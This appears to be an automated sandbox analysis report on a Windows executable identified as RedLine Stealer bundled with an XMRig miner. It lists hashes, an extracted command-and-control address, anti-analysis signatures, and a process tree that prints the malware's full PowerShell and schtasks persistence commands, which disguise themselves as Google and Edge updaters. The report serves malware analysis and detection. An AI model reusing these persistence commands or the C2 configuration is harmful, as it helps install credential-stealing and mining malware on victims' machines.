Analysis
-
max time kernel
150s -
max time network
152s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
-
submitted
06-10-2022 09:32
General
-
Target
a8ca391420619d51b69cdecd69de91f7.exe
-
Size
8.0MB
-
MD5
a8ca391420619d51b69cdecd69de91f7
-
SHA1
df53d79107c81f47f9244bd81f06d526bf6575ea
-
SHA256
669e1697823eb434f2004523e648735a41ec9044e3ca8a34a055268e0ffaf45b
-
SHA512
8ad3ce8701f19a9bbaa84fadd25b2b314772114b4f9635f59f4112e79fa27fdd9b24a392e8a7aa215fbfee57d4013522c7ac71af2b53be94d0977ae499a17e86
-
SSDEEP
196608:4JNLHNhcPQJ/HmZfovBFRuICGJrbJy3PoypzYS34dZ67YgqgP8:mHJOJirRubG9M/pYS34dZePE
Malware Config
Extracted
redline
185.215.113.69:15544
-
auth_value
1372cd9fae57c6645ea8737ff631eb3c
Signatures
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine payload 1 IoCs
-
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 2 IoCs
-
XMRig Miner payload 2 IoCs
-
Executes dropped EXE 4 IoCs
-
UPX packed file 2 IoCs
Detects executables packed with UPX/modified UPX open source packer.
-
VMProtect packed file 3 IoCs
Detects executables packed with VMProtect commercial packer.
-
Checks BIOS information in registry 2 TTPs 4 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
-
Themida packer 21 IoCs
Detects Themida, an advanced Windows software protection system.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Checks whether UAC is enabled 1 TTPs 2 IoCs
-
Looks up external IP address via web service 2 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
-
Suspicious use of SetThreadContext 3 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 64 IoCs
-
Suspicious use of SendNotifyMessage 64 IoCs
-
Suspicious use of WriteProcessMemory 34 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\a8ca391420619d51b69cdecd69de91f7.exe"C:\Users\Admin\AppData\Local\Temp\a8ca391420619d51b69cdecd69de91f7.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\Setup.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#yodokpfwe#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe' }3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#krdpmezpo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe" }3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC4⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\WinDefenderUpdater.exe"C:\Users\Admin\AppData\Local\Temp\WinDefenderUpdater.exe"2⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe"3⤵
- Suspicious behavior: EnumeratesProcesses
-
-
-
C:\Users\Admin\AppData\Local\Temp\Updater.exe"C:\Users\Admin\AppData\Local\Temp\Updater.exe"2⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /sc MINUTE /mo 3 /tn "MicrosoftEdgeUpdate" /tr "C:\Users\Admin\AppData\Roaming\Updaterx.exe\Updater,exe.exe" /f3⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\system32\wbem\WmiApSrv.exeC:\Windows\system32\wbem\WmiApSrv.exe1⤵
-
C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exeC:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell <#yodokpfwe#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Users\Admin\AppData\Roaming\Google\Chrome\updater.exe' }2⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe xcntavhndiimtz2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.execmd /c mkdir "C:\Users\Admin\AppData\Roaming\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Users\Admin\AppData\Roaming\Google\Libs\g.log"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor4⤵
-
-
-
-
C:\Windows\system32\cmd.execmd /c mkdir "C:\Users\Admin\AppData\Roaming\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Users\Admin\AppData\Roaming\Google\Libs\g.log"2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe kjyytlcxpfuxqnbv 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPrqBymCm+Z5ixc+hig85/4xzrcYceFHd4j0OBxFoiH0w2I3xdoGmQnmzbM5au/RYBQdUB+LCtFQUO3qxWLPJvscrmn9DH5gqtJ+xzyJ2pEn9z16cyWe1k359t91uWH0xQkG6db+ji/OgssDUEZ8hXGEWX7wbkYLXyTyl9pBgDvjdhkWT6mYPzAjaXfsk1vfF7a1MYXsKD0gZrx9wha1xOnPJym0QIRPzQcnSND10bhLDVygSUUG9g9EQb8XLayvsM+kHwWGJeClkojWx5sQ0B8Obgc3Ajws1HRJNdTPzNw/YYSGjYO+K0lNanFJvGzusY1GGOj41dCK6OrvTHTF9iZ37s0XLapfsZ1wf3tFNSVU7HslCNhnYARJlkaiRogvdxlIDXTlQYx3zE04kBHExyk0mU1OFBjGqIOM37t4AOuE3y07HUA4i7uagypHrQheJO6DyV4E5isgYtW9iwBCIuE4kCVqf0prMPglstZoz3FnZerc3iFYHu6FDmpalff10xk=2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
3KB
MD500e7da020005370a518c26d5deb40691
SHA1389b34fdb01997f1de74a5a2be0ff656280c0432
SHA256a529468d442b807290b41565130e4c52760af9abec37613114db3857f11ad4fe
SHA5129a02bacc6fb922d6202548e80e345c6cdec346b79ef7ac7a56f89fd342ff128de004065b9d010d015b54d4ca72f665ca658c7ffcd8eb906e14bfa5b48b43f2cf
-
Filesize
1KB
MD586989789cd2f4ad01ae20066f963ce92
SHA1358eae494283723a11a63521cd5f04d9a980541c
SHA256e675f5bc8913a60639c8e666e2a9f973866d7d7ed3b8fa465334b5d34d37de82
SHA5129d8e4fd8aa5aef34738998de45d0855b08d0f659d838b14f88ff481fb33f882bf7060f439c4ffc284232763d3bfd159ebeff37f3a46af5be6d989b04c46ebdde
-
Filesize
1KB
MD5055cd1930e45c3d77aa744d53bcc29d9
SHA1af1464daf329f36930b71fb33119c61a13472b6d
SHA256fcd4a469c653f6bd319b201326633c2183a70184bc159c071915a9c4abd92d3c
SHA51200ee038f281f34c7d727b7d6d7734bdfc61ee742b33edc5f905adae6afa949b9a9da8c575d949e98b24b59005e469628e99f113e0fc612dc24bbba7f098fa65d
-
Filesize
7.0MB
MD533303879b30d7f28dcdf091642f57568
SHA1409c6d577cef0447a71c714cdaacbbe4ae76d379
SHA2569a41c8ce89ec0d6a09d2f383097efe375882cab9eb418360c2a6bc4db57ff95b
SHA512633d0a8ddfbab8d725a93ecb436201ac43d83a861174b844779d3d06ed5273647ade9cc097f53cfb6bdf8089c4f843373e3c6fa10a25de24aa65b7469798db3f
-
Filesize
7.0MB
MD533303879b30d7f28dcdf091642f57568
SHA1409c6d577cef0447a71c714cdaacbbe4ae76d379
SHA2569a41c8ce89ec0d6a09d2f383097efe375882cab9eb418360c2a6bc4db57ff95b
SHA512633d0a8ddfbab8d725a93ecb436201ac43d83a861174b844779d3d06ed5273647ade9cc097f53cfb6bdf8089c4f843373e3c6fa10a25de24aa65b7469798db3f
-
Filesize
275KB
MD5a69eb2e41c9d3d8783d307cda98f612d
SHA1394b19629a71cac603e378d12ba037ffce12074c
SHA25670b566861ca2286cd90d939661abcd6864f239b7ad4e4f765a45a26c3dc7dc50
SHA512f56d3d11fef4468fe5ed53743391c957cdacb50c2248402ba243035a602ebf7a5287a5e7d0343835955e281c405b3816901c074791abac4d2158b778c66756c9
-
Filesize
275KB
MD5a69eb2e41c9d3d8783d307cda98f612d
SHA1394b19629a71cac603e378d12ba037ffce12074c
SHA25670b566861ca2286cd90d939661abcd6864f239b7ad4e4f765a45a26c3dc7dc50
SHA512f56d3d11fef4468fe5ed53743391c957cdacb50c2248402ba243035a602ebf7a5287a5e7d0343835955e281c405b3816901c074791abac4d2158b778c66756c9
-
Filesize
2.5MB
MD542cb921e726d99dd48588d9782f3eb0f
SHA1d6c46db0c9a2f2b65ad4113c4ee388837c15da4f
SHA256ea3da2c63aeaaf1bf692e24ee296598f2d3ce46efd9ca21ae8577548d5705f7e
SHA512efbedf7b584b233651989a8393d7dcb1ae84944fbdda9fd2e9dd49b27875d31e502d7cd35bffa77e771c6d8f3e36aa5669d3ac24f76ddcd5b78dc6e9a2268e17
-
Filesize
2.5MB
MD542cb921e726d99dd48588d9782f3eb0f
SHA1d6c46db0c9a2f2b65ad4113c4ee388837c15da4f
SHA256ea3da2c63aeaaf1bf692e24ee296598f2d3ce46efd9ca21ae8577548d5705f7e
SHA512efbedf7b584b233651989a8393d7dcb1ae84944fbdda9fd2e9dd49b27875d31e502d7cd35bffa77e771c6d8f3e36aa5669d3ac24f76ddcd5b78dc6e9a2268e17
-
Filesize
7.0MB
MD528bc5e41ab8fd6c319a24416d4f590e6
SHA15e20315a9fb794f660b30072556525ad1503a2e4
SHA256db6408c654a3bc4b89f888a6d231ea4c391f048af1f516e8be94c512bf317b20
SHA512efa99980959919a16699d11bfa172bbdeb1b505d296398ede7af5d25b44575f237243a64e35016fca4847b1852e6146d23c9583e8c2e569c8dab58ab714ab844
-
Filesize
7.0MB
MD528bc5e41ab8fd6c319a24416d4f590e6
SHA15e20315a9fb794f660b30072556525ad1503a2e4
SHA256db6408c654a3bc4b89f888a6d231ea4c391f048af1f516e8be94c512bf317b20
SHA512efa99980959919a16699d11bfa172bbdeb1b505d296398ede7af5d25b44575f237243a64e35016fca4847b1852e6146d23c9583e8c2e569c8dab58ab714ab844
-
Filesize
226B
MD5fdba80d4081c28c65e32fff246dc46cb
SHA174f809dedd1fc46a3a63ac9904c80f0b817b3686
SHA256b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398
SHA512b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29
-
-
Filesize
128KB
-
-
Filesize
8.0MB
-
Filesize
8.0MB
-
-
-
Filesize
10.8MB
-
Filesize
10.8MB
-
-
Filesize
472KB
-
-
Filesize
12.7MB
-
Filesize
12.7MB
-
Filesize
12.7MB
-
Filesize
12.7MB
-
Filesize
12.7MB
-
Filesize
12.7MB
-
Filesize
2.0MB
-
Filesize
2.0MB
-
Filesize
12.7MB
-
Filesize
12.7MB
-
Filesize
2.0MB
-
-
Filesize
10.8MB
-
Filesize
10.8MB
-
-
Filesize
12.7MB
-
Filesize
12.7MB
-
Filesize
2.0MB
-
Filesize
12.7MB
-
-
Filesize
12.7MB
-
Filesize
2.0MB
-
Filesize
12.7MB
-
Filesize
2.0MB
-
Filesize
12.7MB
-
Filesize
12.7MB
-
Filesize
12.7MB
-
Filesize
12.7MB
-
-
Filesize
136KB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
Filesize
10.8MB
-
-
Filesize
10.8MB
-
-
-
Filesize
1.0MB
-
Filesize
128KB
-
Filesize
6.1MB
-
-
Filesize
72KB
-
Filesize
240KB
-
Filesize
5.6MB
-
Filesize
584KB
-
Filesize
408KB
-
Filesize
5.2MB
-
Filesize
1.8MB
-
Filesize
472KB
-
Filesize
120KB